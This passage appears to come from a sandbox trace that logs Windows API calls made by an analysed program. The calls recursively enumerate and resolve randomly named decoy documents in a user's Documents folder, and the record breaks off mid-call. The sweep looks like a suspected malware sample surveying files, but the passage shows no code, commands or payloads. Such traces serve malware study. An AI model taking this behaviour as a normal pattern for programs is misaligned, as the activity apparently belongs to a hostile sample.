[0162.372] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d992890, ftCreationTime.dwHighDateTime=0x1d99549, ftLastAccessTime.dwLowDateTime=0x6186a2b0, ftLastAccessTime.dwHighDateTime=0x1d99a68, ftLastWriteTime.dwLowDateTime=0x6186a2b0, ftLastWriteTime.dwHighDateTime=0x1d99a68, nFileSizeHigh=0x0, nFileSizeLow=0x3a2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1O4.csv", cAlternateFileName="")) returned 1 [0162.373] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ced4b0, ftCreationTime.dwHighDateTime=0x1d99b45, ftLastAccessTime.dwLowDateTime=0xa087f450, ftLastAccessTime.dwHighDateTime=0x1d99be9, ftLastWriteTime.dwLowDateTime=0xa087f450, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9dBEoJADWjyNbxb", cAlternateFileName="9DBEOJ~1")) returned 1 [0162.373] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24e3a0, ftCreationTime.dwHighDateTime=0x1d99239, ftLastAccessTime.dwLowDateTime=0x6a091470, ftLastAccessTime.dwHighDateTime=0x1d99817, ftLastWriteTime.dwLowDateTime=0x6a091470, ftLastWriteTime.dwHighDateTime=0x1d99817, nFileSizeHigh=0x0, nFileSizeLow=0xa13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apPn7N4hT Lo.pdf", cAlternateFileName="APPN7N~1.PDF")) returned 1 [0162.373] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d51520, ftCreationTime.dwHighDateTime=0x1d99a4a, ftLastAccessTime.dwLowDateTime=0x81234660, ftLastAccessTime.dwHighDateTime=0x1d99b4d, ftLastWriteTime.dwLowDateTime=0x81234660, ftLastWriteTime.dwHighDateTime=0x1d99b4d, nFileSizeHigh=0x0, nFileSizeLow=0x1795c, dwReserved0=0x0, dwReserved1=0x0, cFileName="B77 gdQD3RQ-F8wv1.rtf", cAlternateFileName="B77GDQ~1.RTF")) returned 1 [0162.373] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x213aec10, ftCreationTime.dwHighDateTime=0x1d990aa, ftLastAccessTime.dwLowDateTime=0xab564c70, ftLastAccessTime.dwHighDateTime=0x1d99567, ftLastWriteTime.dwLowDateTime=0xab564c70, ftLastWriteTime.dwHighDateTime=0x1d99567, nFileSizeHigh=0x0, nFileSizeLow=0xccf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hd6YwW0KHas8.ppt", cAlternateFileName="HD6YWW~1.PPT")) returned 1 [0162.373] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3925c520, ftCreationTime.dwHighDateTime=0x1d99217, ftLastAccessTime.dwLowDateTime=0x6b3e1ee0, ftLastAccessTime.dwHighDateTime=0x1d9942e, ftLastWriteTime.dwLowDateTime=0x6b3e1ee0, ftLastWriteTime.dwHighDateTime=0x1d9942e, nFileSizeHigh=0x0, nFileSizeLow=0xdc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="mHccYT.docx", cAlternateFileName="MHCCYT~1.DOC")) returned 1 [0162.374] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdec26120, ftCreationTime.dwHighDateTime=0x1d99b75, ftLastAccessTime.dwLowDateTime=0x7fdda1c0, ftLastAccessTime.dwHighDateTime=0x1d99c23, ftLastWriteTime.dwLowDateTime=0x7fdda1c0, ftLastWriteTime.dwHighDateTime=0x1d99c23, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="n7u6-hdfZCMK12Ax.ppt", cAlternateFileName="N7U6-H~1.PPT")) returned 1 [0162.374] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x130fc420, ftCreationTime.dwHighDateTime=0x1d99399, ftLastAccessTime.dwLowDateTime=0xd294f3f0, ftLastAccessTime.dwHighDateTime=0x1d99b01, ftLastWriteTime.dwLowDateTime=0xd294f3f0, ftLastWriteTime.dwHighDateTime=0x1d99b01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n_Go2 uXegR7yuru5EXh", cAlternateFileName="N_GO2U~1")) returned 1 [0162.374] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x130fc420, ftCreationTime.dwHighDateTime=0x1d99399, ftLastAccessTime.dwLowDateTime=0xd294f3f0, ftLastAccessTime.dwHighDateTime=0x1d99b01, ftLastWriteTime.dwLowDateTime=0xd294f3f0, ftLastWriteTime.dwHighDateTime=0x1d99b01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n_Go2 uXegR7yuru5EXh", cAlternateFileName="N_GO2U~1")) returned 0 [0162.374] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.374] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0162.375] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0162.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0162.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", lpFilePart=0x0) returned 0x40 [0162.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0162.375] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", lpFilePart=0x0) returned 0x40 [0162.375] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ced4b0, ftCreationTime.dwHighDateTime=0x1d99b45, ftLastAccessTime.dwLowDateTime=0xa087f450, ftLastAccessTime.dwHighDateTime=0x1d99be9, ftLastWriteTime.dwLowDateTime=0xa087f450, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0162.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", lpFilePart=0x0) returned 0x40 [0162.376] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\*"), lpFindFileData=0x5a2e7c0 | out: lpFindFileData=0x5a2e7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ced4b0, ftCreationTime.dwHighDateTime=0x1d99b45, ftLastAccessTime.dwLowDateTime=0xa087f450, ftLastAccessTime.dwHighDateTime=0x1d99be9, ftLastWriteTime.dwLowDateTime=0xa087f450, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ced4b0, ftCreationTime.dwHighDateTime=0x1d99b45, ftLastAccessTime.dwLowDateTime=0xa087f450, ftLastAccessTime.dwHighDateTime=0x1d99be9, ftLastWriteTime.dwLowDateTime=0xa087f450, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb209f9b0, ftCreationTime.dwHighDateTime=0x1d9946b, ftLastAccessTime.dwLowDateTime=0x10005e40, ftLastAccessTime.dwHighDateTime=0x1d99d7e, ftLastWriteTime.dwLowDateTime=0x10005e40, ftLastWriteTime.dwHighDateTime=0x1d99d7e, nFileSizeHigh=0x0, nFileSizeLow=0xc3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="2NDvK0UV6C93Or2y33.xls", cAlternateFileName="2NDVK0~1.XLS")) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc05b2b0, ftCreationTime.dwHighDateTime=0x1d98d3e, ftLastAccessTime.dwLowDateTime=0xf1085f30, ftLastAccessTime.dwHighDateTime=0x1d99088, ftLastWriteTime.dwLowDateTime=0xf1085f30, ftLastWriteTime.dwHighDateTime=0x1d99088, nFileSizeHigh=0x0, nFileSizeLow=0x10408, dwReserved0=0x0, dwReserved1=0x0, cFileName="CpTRf.ppt", cAlternateFileName="")) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a4540, ftCreationTime.dwHighDateTime=0x1d99b80, ftLastAccessTime.dwLowDateTime=0xba390b70, ftLastAccessTime.dwHighDateTime=0x1d99d77, ftLastWriteTime.dwLowDateTime=0xba390b70, ftLastWriteTime.dwHighDateTime=0x1d99d77, nFileSizeHigh=0x0, nFileSizeLow=0x7436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DgJ _YHDeXbtu1aaa9P7.pptx", cAlternateFileName="DGJ_YH~1.PPT")) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e1cdc0, ftCreationTime.dwHighDateTime=0x1d99977, ftLastAccessTime.dwLowDateTime=0xef68b7f0, ftLastAccessTime.dwHighDateTime=0x1d99cc8, ftLastWriteTime.dwLowDateTime=0xef68b7f0, ftLastWriteTime.dwHighDateTime=0x1d99cc8, nFileSizeHigh=0x0, nFileSizeLow=0xf41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="i0yOPGpm7x.ots", cAlternateFileName="I0YOPG~1.OTS")) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651ff50, ftCreationTime.dwHighDateTime=0x1d990f1, ftLastAccessTime.dwLowDateTime=0x88b1eea0, ftLastAccessTime.dwHighDateTime=0x1d99651, ftLastWriteTime.dwLowDateTime=0x88b1eea0, ftLastWriteTime.dwHighDateTime=0x1d99651, nFileSizeHigh=0x0, nFileSizeLow=0xaac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uGb VVDiN.pdf", cAlternateFileName="UGBVVD~1.PDF")) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5eae70, ftCreationTime.dwHighDateTime=0x1d98de8, ftLastAccessTime.dwLowDateTime=0x62fccca0, ftLastAccessTime.dwHighDateTime=0x1d99441, ftLastWriteTime.dwLowDateTime=0x62fccca0, ftLastWriteTime.dwHighDateTime=0x1d99441, nFileSizeHigh=0x0, nFileSizeLow=0x18d45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZIaavi0a68Bqoa9.odt", cAlternateFileName="ZIAAVI~1.ODT")) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5eae70, ftCreationTime.dwHighDateTime=0x1d98de8, ftLastAccessTime.dwLowDateTime=0x62fccca0, ftLastAccessTime.dwHighDateTime=0x1d99441, ftLastWriteTime.dwLowDateTime=0x62fccca0, ftLastWriteTime.dwHighDateTime=0x1d99441, nFileSizeHigh=0x0, nFileSizeLow=0x18d45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZIaavi0a68Bqoa9.odt", cAlternateFileName="ZIAAVI~1.ODT")) returned 0 [0162.376] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.377] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ced4b0, ftCreationTime.dwHighDateTime=0x1d99b45, ftLastAccessTime.dwLowDateTime=0xa087f450, ftLastAccessTime.dwHighDateTime=0x1d99be9, ftLastWriteTime.dwLowDateTime=0xa087f450, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.377] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb209f9b0, ftCreationTime.dwHighDateTime=0x1d9946b, ftLastAccessTime.dwLowDateTime=0x10005e40, ftLastAccessTime.dwHighDateTime=0x1d99d7e, ftLastWriteTime.dwLowDateTime=0x10005e40, ftLastWriteTime.dwHighDateTime=0x1d99d7e, nFileSizeHigh=0x0, nFileSizeLow=0xc3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="2NDvK0UV6C93Or2y33.xls", cAlternateFileName="2NDVK0~1.XLS")) returned 1 [0162.377] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc05b2b0, ftCreationTime.dwHighDateTime=0x1d98d3e, ftLastAccessTime.dwLowDateTime=0xf1085f30, ftLastAccessTime.dwHighDateTime=0x1d99088, ftLastWriteTime.dwLowDateTime=0xf1085f30, ftLastWriteTime.dwHighDateTime=0x1d99088, nFileSizeHigh=0x0, nFileSizeLow=0x10408, dwReserved0=0x0, dwReserved1=0x0, cFileName="CpTRf.ppt", cAlternateFileName="")) returned 1 [0162.377] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a4540, ftCreationTime.dwHighDateTime=0x1d99b80, ftLastAccessTime.dwLowDateTime=0xba390b70, ftLastAccessTime.dwHighDateTime=0x1d99d77, ftLastWriteTime.dwLowDateTime=0xba390b70, ftLastWriteTime.dwHighDateTime=0x1d99d77, nFileSizeHigh=0x0, nFileSizeLow=0x7436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DgJ _YHDeXbtu1aaa9P7.pptx", cAlternateFileName="DGJ_YH~1.PPT")) returned 1 [0162.378] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e1cdc0, ftCreationTime.dwHighDateTime=0x1d99977, ftLastAccessTime.dwLowDateTime=0xef68b7f0, ftLastAccessTime.dwHighDateTime=0x1d99cc8, ftLastWriteTime.dwLowDateTime=0xef68b7f0, ftLastWriteTime.dwHighDateTime=0x1d99cc8, nFileSizeHigh=0x0, nFileSizeLow=0xf41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="i0yOPGpm7x.ots", cAlternateFileName="I0YOPG~1.OTS")) returned 1 [0162.378] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651ff50, ftCreationTime.dwHighDateTime=0x1d990f1, ftLastAccessTime.dwLowDateTime=0x88b1eea0, ftLastAccessTime.dwHighDateTime=0x1d99651, ftLastWriteTime.dwLowDateTime=0x88b1eea0, ftLastWriteTime.dwHighDateTime=0x1d99651, nFileSizeHigh=0x0, nFileSizeLow=0xaac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uGb VVDiN.pdf", cAlternateFileName="UGBVVD~1.PDF")) returned 1 [0162.378] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5eae70, ftCreationTime.dwHighDateTime=0x1d98de8, ftLastAccessTime.dwLowDateTime=0x62fccca0, ftLastAccessTime.dwHighDateTime=0x1d99441, ftLastWriteTime.dwLowDateTime=0x62fccca0, ftLastWriteTime.dwHighDateTime=0x1d99441, nFileSizeHigh=0x0, nFileSizeLow=0x18d45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZIaavi0a68Bqoa9.odt", cAlternateFileName="ZIAAVI~1.ODT")) returned 1 [0162.378] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.378] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.379] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 0x20 [0162.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0162.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0162.379] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 0x20 [0162.380] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 0x20 [0162.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0162.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0162.380] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 0x20 [0162.380] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 0x20 [0162.381] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0162.381] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0162.381] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 0x20 [0162.381] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\i0yOPGpm7x.ots" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\i0yopgpm7x.ots")) returned 0x20 [0162.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 0x20 [0162.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0162.382] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf", lpFilePart=0x0) returned 0x4e [0162.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\uGb VVDiN.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ugb vvdin.pdf")) returned 0x20 [0162.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\ZIaavi0a68Bqoa9.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\ziaavi0a68bqoa9.odt")) returned 0x20 [0162.382] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh")) returned 0x10 [0162.383] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\n_go2 uxegr7yuru5exh")) returned 0x10 [0162.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\n_Go2 uXegR7yuru5EXh", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0162.383] GetFullPathNameW (in: 